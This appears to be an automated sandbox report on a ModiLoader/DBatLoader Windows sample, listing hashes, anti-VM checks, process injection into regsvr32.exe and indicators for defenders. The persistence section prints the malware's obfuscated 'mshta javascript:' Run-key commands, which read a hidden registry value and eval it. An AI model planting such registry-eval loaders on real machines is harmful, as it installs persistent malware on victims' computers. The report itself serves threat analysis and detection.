Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
27-05-2024 00:13
Static task
static1
Behavioral task
behavioral1
Sample
774750e7081bfd239833590441172f7e_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
774750e7081bfd239833590441172f7e_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
774750e7081bfd239833590441172f7e_JaffaCakes118.exe
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Size
538KB
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MD5
774750e7081bfd239833590441172f7e
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SHA1
22bd9ce359f9a01f0670365626d6ac087f215b02
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SHA256
a858bcf2d69d9791cb443cd0b944c199807b41e6d9050afda993eabf03812c8d
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SHA512
9051b606e70badfe6dc22f208bb6b356a1ba06ea94f628c08d40d7ca7023628c2d3d42d1f0601b69767df1ed0e8d5978c95dfeebbe171455df777466bd2f0fb3
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SSDEEP
12288:yhYBiFH9iUvEX9A8khRaQT1UDxJfnAxacJAzhCMoZMP59LBs:yaI7nSQW/gJAzZFTBs
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 41 IoCs
Processes:
resource yara_rule behavioral1/memory/2208-6-0x0000000000400000-0x000000000048C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-9-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-12-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-11-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-10-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-14-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-20-0x0000000000400000-0x000000000048C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-27-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-26-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-25-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-24-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-23-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2628-28-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-38-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-40-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-39-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-43-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-41-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-46-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-44-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-49-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-52-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-51-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-45-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-50-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-48-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-47-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-57-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-61-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-60-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-59-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-58-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2296-56-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-62-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2752-63-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/1460-68-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1460-71-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1460-70-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1460-69-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1460-67-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:aZADHY9=\"wfQzCIPwQ3\";nA79=new%20ActiveXObject(\"WScript.Shell\");CJ6N7nAsU=\"2xPWZv22\";ite9Q=nA79.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\4473aafa5e\\\\6ffbda80\");v60EMPwkR=\"JcSe1vJ8X\";eval(ite9Q);P1I5nbmuL=\"pjNNdw1YK\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2752 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:TTk9cyr=\"nA17Xx\";X3l7=new%20ActiveXObject(\"WScript.Shell\");ct0NDXjh=\"zTS\";rn3zA8=X3l7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\4473aafa5e\\\\6ffbda80\");RtzWz6S=\"Aoxh6b\";eval(rn3zA8);M0BgfJ3h=\"IKtiFraY\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:f6hwjXSQb5=\"IEfNwk4s1B\";l4j=new%20ActiveXObject(\"WScript.Shell\");JeiBO5oKG=\"K9\";lQy3G=l4j.RegRead(\"HKCU\\\\software\\\\4473aafa5e\\\\6ffbda80\");apy4MHQ=\"NWbo\";eval(lQy3G);ra5VCfkQm=\"c0pMK2IG\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
774750e7081bfd239833590441172f7e_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe 2628 regsvr32.exe 2628 regsvr32.exe 2628 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe 2752 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
774750e7081bfd239833590441172f7e_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2628 2208 774750e7081bfd239833590441172f7e_JaffaCakes118.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2628 wrote to memory of 2752 2628 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 2296 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe PID 2752 wrote to memory of 1460 2752 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\774750e7081bfd239833590441172f7e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\774750e7081bfd239833590441172f7e_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2296
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1460
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